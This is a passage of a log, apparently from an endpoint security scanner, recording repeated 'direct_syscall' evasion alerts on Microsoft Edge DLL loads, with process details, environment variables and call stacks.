FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdd736422 C:\Windows\System32\combase.dll!GetFuncDescs|0x7ffcdd7838b7 C:\Windows\System32\combase.dll!HRGN_UserFree|0x7ffcdd7442c0 C:\Windows\System32\combase.dll!CoFileTimeNow|0x7ffcdea7d0e5 C:\Windows\System32\ntdll.dll!RtlRunOnceExecuteOnce|0x7ffcdbbe31c1 C:\Windows\System32\KernelBase.dll!InitOnceExecuteOnce|0x7ffcdd634917 C:\Windows\System32\combase.dll!CoGetCurrentLogicalThreadId|0x7ffcdd6332a4 C:\Windows\System32\combase.dll!CoGetCurrentLogicalThreadId|0x7ffcdd65288a C:\Windows\System32\combase.dll!CoInitializeEx|0x7ffcdd6524f1 C:\Windows\System32\combase.dll!CoInitializeEx|0x7ffcdd651fae C:\Windows\System32\combase.dll!CoInitializeEx|0x7ffcdd651979 C:\Windows\System32\combase.dll!CoInitializeEx|0x7ffc8f216366 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f21631e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5c2c3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8f05ea5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f05e2b7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5b42e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174378 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.558294 +0100 CET + Params: base_address➜ 7ffcdcf70000, checksum➜ 783429, default_address➜ 7ffcdcf70000, file_path➜ C:\Windows\System32\clbcatq.dll, image_size➜ 720896, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ WINDOWS, signature_type➜ FILE_VERIFIED + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdd736422 C:\Windows\System32\combase.dll!GetFuncDescs|0x7ffcdd783089 C:\Windows\System32\combase.dll!HRGN_UserFree|0x7ffcdd7287e2 C:\Windows\System32\combase.dll!IsErrorPropagationEnabled|0x7ffcdd7db35a C:\Windows\System32\combase.dll!CoGetModuleType|0x7ffcdd61888b C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd617112 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc8ce61090 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce60f0d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8f05ea5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f05e2b7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5b42e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174419 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.5604022 +0100 CET + Params: base_address➜ 7ffc9ffa0000, checksum➜ 167135, default_address➜ 7ffc9ffa0000, file_path➜ C:\Windows\System32\Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.dll, image_size➜ 102400, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc8ce61090 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce60f0d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8f05ea5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f05e2b7 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ce5b42e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8cec08bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:20+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4174467 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.5619345 +0100 CET + Params: base_address➜ 7ffccc260000, checksum➜ 108991, default_address➜ 7ffccc260000, file_path➜ C:\Windows\System32\DiagnosticDataSettings.dll, image_size➜ 61440, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files 